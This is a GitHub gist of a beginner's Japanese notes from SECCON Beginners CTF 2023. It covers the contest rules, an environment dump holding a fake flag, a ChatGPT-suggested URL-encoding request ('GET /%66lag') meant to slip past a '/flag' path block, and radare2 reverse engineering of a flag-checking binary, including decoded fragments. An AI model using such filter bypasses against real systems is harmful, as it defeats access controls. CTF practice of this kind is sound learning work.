Skip to content

Instantly share code, notes, and snippets.

@hassaku63
Last active June 4, 2023 05:29
Show Gist options
  • Select an option

  • Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.

Select an option

Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.
SECCON Beginners CTF 2023

URL: https://score.beginners.seccon.jp/

ไปŠๅ›ž CTF ๅˆๆŒ‘ๆˆฆใ ใฃใŸใฎใงใ€ใ‚„ใฃใฆใŸใ“ใจใ€่€ƒใˆใฆใŸใ“ใจใชใฉใ‚’้›‘ใซใƒกใƒขใฃใฆใ„ใๅ ดๆ‰€ใ€‚

ใƒžใ‚ธใงไฝ•ใ‚‚ใ‚ใ‹ใฃใฆใ„ใชใ„ใงๆ›ธใ„ใฆใ‚‹ใฎใงใ€๏ผˆใ“ใ‚Œใ‚’่ฆ‹ใฆใ—ใพใฃใŸไบบๅ‘ใ‘ใซ๏ผ‰ๆญฃ่งฃใซใŸใฉใ‚Š็€ใใŸใ„ไบบใ€ๅ‚่€ƒๆƒ…ๅ ฑใ‚’ๅพ—ใŸใ„ไบบใŒ่ฆ‹ใ‚‹ใ‚ˆใ†ใชใ€Œ่ณ‡ๆ–™ใ€ใ˜ใ‚ƒใชใ„ใ“ใจใ‚’ไบˆใ‚ๆ–ญใฃใฆใŠใใ€‚

่‡ชๅˆ†ใŒไฝ•่€ƒใˆใฆใŸใฎใ‹ใ‚’ใ‚ใ‚‹็จ‹ๅบฆ dump ใ—ใŸใ‚‚ใฎใงใ‚ใฃใฆใ€ใƒใƒƒใ‚ฏใ‚ฐใƒฉใ‚ฆใƒณใƒ‰ใ‚’็†่งฃใ—ใฆๆ›ธใ„ใฆใ‚‹ใ‚‚ใฎใงใฏใชใ„ใ€‚

็ซถๆŠ€ๆ—ฅ็จ‹

2023/06/03(ๅœŸ) 14:00 JST - 2023/06/04(ๆ—ฅ) 14:00 JST

็ซถๆŠ€ๅฝขๅผ

Jeopardyๅฝขๅผ

ใƒซใƒผใƒซ

  1. ๅพ—็‚นใฏใƒใƒผใƒ ๆฏŽใซ้›†่จˆใ—ใพใ™ใ€‚้›†่จˆใซใฏใƒ€ใ‚คใƒŠใƒŸใƒƒใ‚ฏใ‚นใ‚ณใ‚ขใƒชใƒณใ‚ฐๆ–นๅผ๏ผˆๅคšใใฎใƒใƒผใƒ ใŒ่งฃใ„ใŸๅ•้กŒใปใฉ็‚นๆ•ฐใŒไฝŽใใชใ‚‹ใ‚ˆใ†ใชๆ–นๅผ๏ผ‰ใ‚’็”จใ„ใพใ™ใ€‚
  2. ๅŽŸๅ‰‡็ซถๆŠ€ไธญใซใฏๅ•้กŒใฎ่ฟฝๅŠ ใ‚’่กŒใ„ใพใ›ใ‚“ใ€‚ๅ•้กŒใฎ่จญๅฎšใƒŸใ‚นใชใฉใŒ็™บ่ฆšใ—ใŸๅ ดๅˆใซใฏใ€ไพ‹ๅค–็š„ใซไฟฎๆญฃ็‰ˆใฎๅ•้กŒใŒๅ…ฌ้–‹ใ•ใ‚Œใ‚‹ๅ ดๅˆใŒใ‚ใ‚Šใพใ™ใ€‚
  3. ใƒ•ใƒฉใ‚ฐใฎใƒ•ใ‚ฉใƒผใƒžใƒƒใƒˆใฏ ctf4b{[\x20-\x7e]+} ใงใ™ใ€‚ใ“ใ‚Œใจ็•ฐใชใ‚‹ๅฝขๅผใ‚’ๅ–ใ‚‹ๅ•้กŒใซ้–ขใ—ใฆใฏใ€ๅˆฅ้€”ๅ•้กŒๆ–‡็ญ‰ใงใใฎๆ—จใ‚’ๆ˜Ž็คบใ—ใพใ™ใ€‚
  4. ่ชคใฃใŸ่งฃ็ญ”ใ‚’็Ÿญๆ™‚้–“ใฎๅ†…ใซไฝ•ๅบฆใ‚‚้€ไฟกใ—ใŸๅ ดๅˆใฏใ€ๅฝ“่ฉฒใƒใƒผใƒ ใ‹ใ‚‰ใฎๅ›ž็ญ”ใ‚’ไธ€ๅฎšๆ™‚้–“ๅ—ใ‘ไป˜ใ‘ใชใ„็Šถๆ…‹๏ผˆใƒญใƒƒใ‚ฏ็Šถๆ…‹๏ผ‰ใซใชใ‚‹ๅ ดๅˆใŒใ‚ใ‚Šใพใ™ใ€‚ใพใŸใ“ใฎ็Šถๆ…‹ใงใ•ใ‚‰ใซไธๆญฃ่งฃใ‚’้€ไฟกใ—็ถšใ‘ใŸๅ ดๅˆใฏใƒญใƒƒใ‚ฏใ•ใ‚Œใ‚‹ๆ™‚้–“ใŒใ•ใ‚‰ใซๅปถ้•ทใ•ใ‚Œใ‚‹ๅฏ่ƒฝๆ€งใŒใ‚ใ‚Šใพใ™ใ€‚

็ฆๆญขไบ‹้ …

  1. ไป–ใƒใƒผใƒ ใธใฎๅฆจๅฎณ่กŒ็‚บ
  2. ไป–ใƒใƒผใƒ ใฎๅ›ž็ญ”ใชใฉใ‚’ใฎใžใ่ฆ‹ใ™ใ‚‹่กŒ็‚บ
  3. ไป–่€…ใธใฎๆ”ปๆ’ƒ็š„ใช็™บ่จ€ (ๆšด่จ€ / ่ชน่ฌ—ไธญๅ‚ท / ไพฎ่พฑ / ่„…่ฟซ / ใƒใƒฉใ‚นใƒกใƒณใƒˆ่กŒ็‚บใชใฉ)
  4. ่‡ชใƒใƒผใƒ ใฎใƒใƒผใƒ ็™ป้Œฒ่€…ไปฅๅค–ใซๅ•้กŒใƒปใƒ’ใƒณใƒˆใƒป่งฃ็ญ”ใ‚’ๆ•™ใˆใ‚‹ใ“ใจ
  5. ่‡ชใƒใƒผใƒ ใฎใƒใƒผใƒ ็™ป้Œฒ่€…ไปฅๅค–ใ‹ใ‚‰ใƒ’ใƒณใƒˆใƒป่งฃ็ญ”ใ‚’ๅพ—ใ‚‹ใ“ใจ๏ผˆใŸใ ใ—้‹ๅ–ถ่€…ใŒๅ…จๅ“กใซไธŽใˆใ‚‹ใ‚‚ใฎใ‚’้™คใ๏ผ‰
  6. ่จญๅ•ใซใ‚ˆใฃใฆๆ”ปๆ’ƒใŒ่จฑๅฏใ•ใ‚Œใฆใ„ใ‚‹ใ‚ตใƒผใƒใ€ใƒใƒƒใƒˆใƒฏใƒผใ‚ฏไปฅๅค–ใธใฎๆ”ปๆ’ƒ
  7. ็ซถๆŠ€ใƒใƒƒใƒˆใƒฏใƒผใ‚ฏใƒปใ‚ตใƒผใƒใชใฉใฎ่ฒ ่ทใ‚’้Žๅบฆใซ้ซ˜ใ‚ใ‚‹่กŒ็‚บ๏ผˆใƒชใƒขใƒผใƒˆใ‹ใ‚‰็ทๅฝ“ใŸใ‚Šใ‚’ใ—ใชใ„ใจ่งฃใ‘ใชใ„ๅ•้กŒใฏใ‚ใ‚Šใพใ›ใ‚“๏ผ๏ผ‰
  8. ใใฎไป–ใ€้‹ๅ–ถใ‚’้˜ปๅฎณใ™ใ‚‹่กŒ็‚บ

ไธๆญฃ่กŒ็‚บใŒ็™บ่ฆ‹ใ•ใ‚ŒใŸๅ ดๅˆใ€้‹ๅ–ถๅดใฎ่ฃ้‡ใซใ‚ˆใฃใฆๆธ›็‚นใƒปๅคฑๆ ผใชใฉใฎใƒšใƒŠใƒซใƒ†ใ‚ฃใŒใƒใƒผใƒ ใซๅฏพใ—ใฆ่ชฒใ›ใ‚‰ใ‚Œใพใ™ใ€‚ๅคงไผšๅพŒใซ็™บ่ฆšใ—ใŸๅ ดๅˆใ‚‚ๅŒๆง˜ใจใ—ใพใ™ใ€‚

็‰น่จ˜ไบ‹้ …

  1. ๅ‡บ้กŒๅ†…ๅฎนใ‚„้–‹ๅ‚ฌไธญใฎใ‚ขใƒŠใ‚ฆใƒณใ‚นใฏๅŽŸๅ‰‡ๆ—ฅๆœฌ่ชžใจใ—ใพใ™ใŒใ€ๅ•้กŒไธญใง่‹ฑ่ชžใŒ็”จใ„ใ‚‰ใ‚Œใ‚‹ๅ ดๅˆใŒใ‚ใ‚Šใพใ™ใ€‚
  2. ใƒใƒผใƒ ไบบๆ•ฐใซๅˆถ้™ใฏใ‚ใ‚Šใพใ›ใ‚“ใ€‚ใŠไธ€ไบบใงใ‚‚ใ€ๆ•ฐๅไบบใงใ‚‚ใ€ใŠๅฅฝใใชไบบๆ•ฐใงใƒใƒผใƒ ใ‚’ไฝœๆˆใ—ใฆใ„ใŸใ ใ„ใฆๆง‹ใ„ใพใ›ใ‚“ใ€‚
  3. ๆœฌๅคงไผšใงใฏไธŠไฝใƒใƒผใƒ ใธใฎ่ณž้‡‘ใƒป่ณž็ŠถใฎๆŽˆไธŽ็ญ‰ใฏ่กŒใ„ใพใ›ใ‚“ใ€‚
  4. SECCON CTF ใธใฎๅ‡บๅ ดๆจฉใจใฏไธ€ๅˆ‡ใฎ้–ขไฟ‚ใŒใ‚ใ‚Šใพใ›ใ‚“ใฎใงใ€ใ”ๆณจๆ„ใใ ใ•ใ„ใ€‚
@hassaku63
Copy link
Copy Markdown
Author

docer compose ๅ†…้ƒจใฎ็’ฐๅขƒๅค‰ๆ•ฐใ‚’่ฆ‹ใฆใฟใ‚‹

$ env
NODE_VERSION=19.9.0
HOSTNAME=17046baddee2
YARN_VERSION=1.22.19
SHLVL=1
HOME=/home/ctf4b
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CTF4B_HOST=0.0.0.0
CTF4B_FLAG=ctf4b{FAKE_FLAG_DO_NOT_SUBMIT}
PWD=/app
CTF4B_PORT=8080

ใฉใ†ใซใ‹ใ—ใฆ็’ฐๅขƒๅค‰ๆ•ฐใ‚’ๅ–ๅพ—ใ™ใ‚‹ๆ–นๆณ•ใŒใ‚ใ‚‹ใ‹๏ผŸใจใ„ใ†ๅ•้กŒใซใชใ‚‹ใ€‚

Web ใ‚ขใƒ—ใƒชใƒ•ใƒฌใƒผใƒ ใƒฏใƒผใ‚ฏใฏใƒ‡ใƒ•ใ‚ฉใƒซใƒˆใ ใจใƒ‡ใƒใƒƒใ‚ฐ็”จใฎใ‚จใƒณใƒ‰ใƒใ‚คใƒณใƒˆใ‚’ๅ…ฌ้–‹ใ—ใฆใ„ใŸใ‚Šใ™ใ‚‹ใฏใšใชใฎใงใ€ใใฎ็ทšใ‚’่ชฟในใฆใฟใ‚‹ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

ChatGPT ใ•ใ‚“

ใ‚ใชใŸใŒๆไพ›ใ—ใŸใ‚ณใƒผใƒ‰ใงใฏใ€block ้–ขๆ•ฐใŒใƒ‘ใ‚นใซ /flag ใŒๅซใพใ‚Œใฆใ„ใ‚‹ๅ ดๅˆใซ403ใ‚จใƒฉใƒผใ‚’่ฟ”ใ™ใ‚ˆใ†ใซใ—ใฆใ„ใพใ™ใ€‚ใ—ใ‹ใ—ใ€ใ“ใฎใƒใ‚งใƒƒใ‚ฏใฏ req.path ใ‚’็›ดๆŽฅไฝฟ็”จใ—ใฆใŠใ‚Šใ€ใ‚จใƒณใ‚ณใƒผใƒ‰ใ•ใ‚ŒใŸใƒ‘ใ‚นใ‚’ๆคœ่จŽใ—ใฆใ„ใพใ›ใ‚“ใ€‚ใ“ใ‚Œใ‚’ๅˆฉ็”จใ—ใŸๆ”ปๆ’ƒใฎไธ€ไพ‹ใจใ—ใฆใ€URLใ‚จใƒณใ‚ณใƒผใƒ‰ใ‚’ไฝฟ็”จใ—ใฆ /flag ใ‚’ใƒใ‚คใƒ‘ใ‚นใ™ใ‚‹ๆ–นๆณ•ใŒใ‚ใ‚Šใพใ™ใ€‚

ๅ…ทไฝ“็š„ใซใฏใ€ไปฅไธ‹ใฎใ‚ˆใ†ใชใƒชใ‚ฏใ‚จใ‚นใƒˆใ‚’้€ไฟกใ™ใ‚‹ใ“ใจใงใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณใ‚’ใ™ใ‚ŠๆŠœใ‘ใ‚‹ใ“ใจใŒๅฏ่ƒฝใงใ™ใ€‚

GET /%66lag

ใ“ใ‚Œใฏ้€šใ‚‰ใšใ€‚404ใฃใฝใ„๏ผŸ

@hassaku63
Copy link
Copy Markdown
Author

ๆ”ปๆ’ƒๆ‰‹ๆณ•ใ‚’่ชฟในใฆใฟใ‚‹ใŒใƒ”ใƒณใจใใ‚‹ใ‚„ใคใŒใชใ„๏ผˆใจใ„ใ†ใ‹ใ‚ใ‹ใ‚‰ใชใ„๏ผ‰

ๆ–นๆณ•ใจใ—ใฆใฏไฝ•ใ‹ใ—ใ‚‰ใฎใ‚คใƒณใ‚ธใ‚งใ‚ฏใ‚ทใƒงใƒณใจใ‹ใƒˆใƒฉใƒใƒผใ‚ตใƒซใ€ใ‚ใ‚‹ใ„ใฏ่จญๅฎšไธๅ‚™ใงใƒ‡ใƒใƒƒใ‚ฐใƒšใƒผใ‚ธใ‚’ๅ‡บใ™๏ผˆใ“ใจใง็’ฐๅขƒๅค‰ๆ•ฐใ‚’ print ใ•ใ›ใ‚‹๏ผ‰ใ ใจๆ€ใฃใฆใ„ใ‚‹ใ‚“ใ ใ‘ใฉใ€

ใ‚คใƒณใ‚ธใ‚งใ‚ฏใ‚ทใƒงใƒณใฝใ„ใ“ใจใŒใงใใใ†ใชใƒญใ‚ธใƒƒใ‚ฏใŒใ‚ใ‹ใ‚‰ใ‚“ใ€‚

ๅพŒๅ›žใ—ใฎๆ–นใŒใ„ใ„ใ‹ใ‚‚

@hassaku63
Copy link
Copy Markdown
Author

Three

ใจใ‚Šใ‚ใˆใš strings ใ—ใฆใฟใ‚‹

$ strings three 
/lib64/ld-linux-x86-64.so.2
libc.so.6
__isoc99_scanf
puts
printf
strlen
__cxa_finalize
__libc_start_main
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
VUUUH
VUUUH
VUUUH
VUUUH
VUUUH
[]A\A]A^A_
Invalid FLAG
Correct!
Enter the FLAG: 
%49s
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
main.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
flag_2
validate_flag
flag_0
_edata
strlen@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
flag_1
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

EC2 ubuntu ๅฎŸ่กŒใ—ใฆใฟใ‚‹ใจใƒ—ใƒญใƒณใƒ—ใƒˆใŒ่กจ็คบใ•ใ‚ŒใŸใ€‚ใจใ‚Šใ‚ใˆใšๅฎŸ่กŒใงใใ‚‹็Šถๆ…‹ใซใชใฃใฆใ„ใ‚‹ใ“ใจใŒใ‚ใ‹ใฃใŸใ€‚

radare2 ใจใ„ใ†ใฎใ‚’ไฝฟใฃใฆใฟใ‚‹ใ€‚

https://github.com/radareorg/radare2

@hassaku63
Copy link
Copy Markdown
Author

hassaku63 commented Jun 3, 2023

ใ‚ทใƒณใƒœใƒซ่ฆ‹ใฆใฟใ‚‹

is
[Symbols]
nth paddr      vaddr          bind   type   size lib name                                   demangled
โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•
1   0x00000318 0x5580b2977318 LOCAL  SECT   0        .interp
2   0x00000338 0x5580b2977338 LOCAL  SECT   0        .note.gnu.property
3   0x00000358 0x5580b2977358 LOCAL  SECT   0        .note.gnu.build-id
4   0x0000037c 0x5580b297737c LOCAL  SECT   0        .note.ABI-tag
5   0x000003a0 0x5580b29773a0 LOCAL  SECT   0        .gnu.hash
6   0x000003c8 0x5580b29773c8 LOCAL  SECT   0        .dynsym
7   0x000004b8 0x5580b29774b8 LOCAL  SECT   0        .dynstr
8   0x00000562 0x5580b2977562 LOCAL  SECT   0        .gnu.version
9   0x00000578 0x5580b2977578 LOCAL  SECT   0        .gnu.version_r
10  0x000005a8 0x5580b29775a8 LOCAL  SECT   0        .rela.dyn
11  0x00000668 0x5580b2977668 LOCAL  SECT   0        .rela.plt
12  0x00001000 0x5580b2978000 LOCAL  SECT   0        .init
13  0x00001020 0x5580b2978020 LOCAL  SECT   0        .plt
14  0x00001070 0x5580b2978070 LOCAL  SECT   0        .plt.got
15  0x00001080 0x5580b2978080 LOCAL  SECT   0        .plt.sec
16  0x000010c0 0x5580b29780c0 LOCAL  SECT   0        .text
17  0x000013e8 0x5580b29783e8 LOCAL  SECT   0        .fini
18  0x00002000 0x5580b2979000 LOCAL  SECT   0        .rodata
19  0x0000212c 0x5580b297912c LOCAL  SECT   0        .eh_frame_hdr
20  0x00002178 0x5580b2979178 LOCAL  SECT   0        .eh_frame
21  0x00002da0 0x5580b297ada0 LOCAL  SECT   0        .init_array
22  0x00002da8 0x5580b297ada8 LOCAL  SECT   0        .fini_array
23  0x00002db0 0x5580b297adb0 LOCAL  SECT   0        .dynamic
24  0x00002fa0 0x5580b297afa0 LOCAL  SECT   0        .got
25  0x00003000 0x5580b297b000 LOCAL  SECT   0        .data
26  ---------- 0x00004010     LOCAL  SECT   0        .bss
27  0x00000000 0x5580b2977000 LOCAL  SECT   0        .comment
28  0x00000000 0x5580b2977000 LOCAL  FILE   0        crtstuff.c
29  0x000010f0 0x5580b29780f0 LOCAL  FUNC   0        deregister_tm_clones
30  0x00001120 0x5580b2978120 LOCAL  FUNC   0        register_tm_clones
31  0x00001160 0x5580b2978160 LOCAL  FUNC   0        __do_global_dtors_aux
32  ---------- 0x00004010     LOCAL  OBJ    1        completed.8061
33  0x00002da8 0x5580b297ada8 LOCAL  OBJ    0        __do_global_dtors_aux_fini_array_entry
34  0x000011a0 0x5580b29781a0 LOCAL  FUNC   0        frame_dummy
35  0x00002da0 0x5580b297ada0 LOCAL  OBJ    0        __frame_dummy_init_array_entry
36  0x00000000 0x5580b2977000 LOCAL  FILE   0        main.c
37  0x00000000 0x5580b2977000 LOCAL  FILE   0        crtstuff.c
38  0x0000229c 0x5580b297929c LOCAL  OBJ    0        __FRAME_END__
39  0x00000000 0x5580b2977000 LOCAL  FILE   0
40  0x00002da8 0x5580b297ada8 LOCAL  NOTYPE 0        __init_array_end
41  0x00002db0 0x5580b297adb0 LOCAL  OBJ    0        _DYNAMIC
42  0x00002da0 0x5580b297ada0 LOCAL  NOTYPE 0        __init_array_start
43  0x0000212c 0x5580b297912c LOCAL  NOTYPE 0        __GNU_EH_FRAME_HDR
44  0x00002fa0 0x5580b297afa0 LOCAL  OBJ    0        _GLOBAL_OFFSET_TABLE_
45  0x00001000 0x5580b2978000 LOCAL  FUNC   0        _init
46  0x000013e0 0x5580b29783e0 GLOBAL FUNC   5        __libc_csu_fini
48  0x00003000 0x5580b297b000 WEAK   NOTYPE 0        data_start
50  0x000020c0 0x5580b29790c0 GLOBAL OBJ    64       flag_2
51  0x000011a9 0x5580b29781a9 GLOBAL FUNC   376      validate_flag
52  0x00002020 0x5580b2979020 GLOBAL OBJ    68       flag_0
53  ---------- 0x00004010     GLOBAL NOTYPE 0        _edata
54  0x000013e8 0x5580b29783e8 GLOBAL FUNC   0        _fini
58  0x00003000 0x5580b297b000 GLOBAL NOTYPE 0        __data_start
60  0x00003008 0x5580b297b008 GLOBAL OBJ    0        __dso_handle
61  0x00002000 0x5580b2979000 GLOBAL OBJ    4        _IO_stdin_used
62  0x00001370 0x5580b2978370 GLOBAL FUNC   101      __libc_csu_init
63  ---------- 0x00004018     GLOBAL NOTYPE 0        _end
64  0x000010c0 0x5580b29780c0 GLOBAL FUNC   47       _start
65  0x00002080 0x5580b2979080 GLOBAL OBJ    64       flag_1
66  ---------- 0x00004010     GLOBAL NOTYPE 0        __bss_start
67  0x00001321 0x5580b2978321 GLOBAL FUNC   67       main
69  ---------- 0x00004010     GLOBAL OBJ    0        __TMC_END__
1   0x00000000 0x5580b2977000 WEAK   NOTYPE 16       imp._ITM_deregisterTMCloneTable
2   0x00001080 0x5580b2978080 GLOBAL FUNC   16       imp.puts
3   0x00001090 0x5580b2978090 GLOBAL FUNC   16       imp.strlen
4   0x000010a0 0x5580b29780a0 GLOBAL FUNC   16       imp.printf
5   0x00000000 0x5580b2977000 GLOBAL FUNC   16       imp.__libc_start_main
6   0x00000000 0x5580b2977000 WEAK   NOTYPE 16       imp.__gmon_start__
7   0x000010b0 0x5580b29780b0 GLOBAL FUNC   16       imp.__isoc99_scanf
8   0x00000000 0x5580b2977000 WEAK   NOTYPE 16       imp._ITM_registerTMCloneTable
9   0x00000000 0x5580b2977000 WEAK   FUNC   16       imp.__cxa_finalize

้–ขไฟ‚ใ‚ใ‚Šใใ†ใชใฎใฏใ“ใฎใธใ‚“

nth paddr      vaddr          bind   type   size lib name                                   demangled
โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•
50  0x000020c0 0x5580b29790c0 GLOBAL OBJ    64       flag_2
51  0x000011a9 0x5580b29781a9 GLOBAL FUNC   376      validate_flag
52  0x00002020 0x5580b2979020 GLOBAL OBJ    68       flag_0
65  0x00002080 0x5580b2979080 GLOBAL OBJ    64       flag_1

is ใ‚ณใƒžใƒณใƒ‰ใฏใ‚ทใƒณใƒœใƒซใฎ่กจ็คบ

is?
| is                 list the Symbols
| is,[table-query]   list symbols in table using given expression
| is.                current symbol

flag ๅค‰ๆ•ฐใ‚‰ใ—ใใ‚‚ใฎใซใ‚ทใƒผใ‚ฏใ—ใฆๅ€คใ‚’็ขบ่ชใ™ใ‚‹

ใพใšใฏ flag_0 (size=68)

> pc 68
#define _BUFFER_SIZE 68
const uint8_t buffer[_BUFFER_SIZE] = {
  0x63, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x63, 0x00,
  0x00, 0x00, 0x5f, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00,
  0x62, 0x00, 0x00, 0x00, 0x5f, 0x00, 0x00, 0x00, 0x5f, 0x00,
  0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00,
  0x5f, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x5f, 0x00,
  0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x5f, 0x00, 0x00, 0x00,
  0x34, 0x00, 0x00, 0x00, 0x7d, 0x00, 0x00, 0x00
};

ใ“ใฎๆ•ฐๅญ—ใฎๅˆ—ใ‚’ python ใงๆ–‡ๅญ—่ตทใ“ใ—ใ€‚

x = [ ... ]
print(''.join(list(map(chr, x))))
# c4c_ub__dt_r_1_4}

ๅŒๆง˜ใซ flag_1

[0x5580b2979020]> s 0x5580b2979080
[0x5580b2979080]> pc 64
#define _BUFFER_SIZE 64
const uint8_t buffer[_BUFFER_SIZE] = {
  0x74, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x34, 0x00,
  0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x5f, 0x00, 0x00, 0x00,
  0x31, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x75, 0x00,
  0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
  0x74, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00, 0x73, 0x00,
  0x00, 0x00, 0x69, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00,
  0x67, 0x00, 0x00, 0x00
};
>>> print(''.join(list(map(chr, x))))
# tb4y_1tu04tesifg

flag_2

[0x5580b2979080]> s 0x5580b29790c0
[0x5580b29790c0]> pc 64
#define _BUFFER_SIZE 64
const uint8_t buffer[_BUFFER_SIZE] = {
  0x66, 0x00, 0x00, 0x00, 0x7b, 0x00, 0x00, 0x00, 0x6e, 0x00,
  0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00,
  0x65, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x6e, 0x00,
  0x00, 0x00, 0x5f, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00,
  0x34, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00, 0x70, 0x00,
  0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00,
  0x33, 0x00, 0x00, 0x00
};
>>> print(''.join(list(map(chr, x))))
f{n0ae0n_e4ept13

ใใ‚Œใฃใฝใ„็ด ๆใฏๅ‡บใฆใใŸใŒใ€ใ“ใ‚Œใ‚‰ใ‚’็ต„ใฟๅˆใ‚ใ›ใฆใ‚‚ใƒ•ใƒฉใ‚ฐใฎใƒ•ใ‚ฉใƒผใƒžใƒƒใƒˆใซใฏใชใ‚‰ใชใ„ใฎใงใƒญใ‚ธใƒƒใ‚ฏใ‚’่งฃๆžใ™ใ‚‹ๅฟ…่ฆใŒใ‚ใ‚Šใใ†

@hassaku63
Copy link
Copy Markdown
Author

ChatGPT ใซ objdump ใงๅ‡บๅŠ›ใ—ใŸ validate_flag ใ‚’่ชญใพใ›ใฆใฟใŸ

ๅ›ž็ญ”ใฏไปฅไธ‹

ใ“ใฎ validate_flag ้–ขๆ•ฐใฏใ€ๅผ•ๆ•ฐใจใ—ใฆไธŽใˆใ‚‰ใ‚ŒใŸๆ–‡ๅญ—ๅˆ—ใŒๆญฃใ—ใ„ใƒ•ใƒฉใ‚ฐใ‹ใฉใ†ใ‹ใ‚’ๆคœ่จผใ™ใ‚‹้–ขๆ•ฐใฎใ‚ˆใ†ใงใ™ใ€‚ใ“ใ“ใงใฎใƒ•ใƒฉใ‚ฐใฏใŠใใ‚‰ใ็‰นๅฎšใฎๅ€คใ‚’ๆŒใคๆ–‡ๅญ—ๅˆ—ใจ่€ƒใˆใ‚‰ใ‚Œใพใ™ใ€‚ไปฅไธ‹ใซๅ„ใ‚นใƒ†ใƒƒใƒ—ใ‚’่ฉณ่ฟฐใ—ใพใ™ใ€‚

  1. ้–ขๆ•ฐใฎๅˆใ‚ใงใฏใ€ๅผ•ๆ•ฐ๏ผˆ%rdi๏ผ‰ใ‚’ใ‚นใ‚ฟใƒƒใ‚ฏใซไฟๅญ˜ใ—ใ€ใใฎ้•ทใ•ใ‚’ strlen ใงใƒใ‚งใƒƒใ‚ฏใ—ใพใ™ใ€‚
  2. ้–ขๆ•ฐใฏใƒ•ใƒฉใ‚ฐใŒ้•ทใ•31ใฎๆ–‡ๅญ—ๅˆ—ใงใ‚ใ‚‹ใ“ใจใ‚’ๆœŸๅพ…ใ—ใฆใ„ใพใ™ใ€‚ใใ†ใงใชใ‘ใ‚Œใฐใ€ไฝ•ใ‹ใƒกใƒƒใ‚ปใƒผใ‚ธ๏ผˆใใฎๅ†…ๅฎนใฏๆœช็Ÿฅใงใ™ใŒใ€ใŠใใ‚‰ใใ‚จใƒฉใƒผใƒกใƒƒใ‚ปใƒผใ‚ธ๏ผ‰ใ‚’่กจ็คบใ—ใ€1ใ‚’่ฟ”ใ—ใพใ™ใ€‚
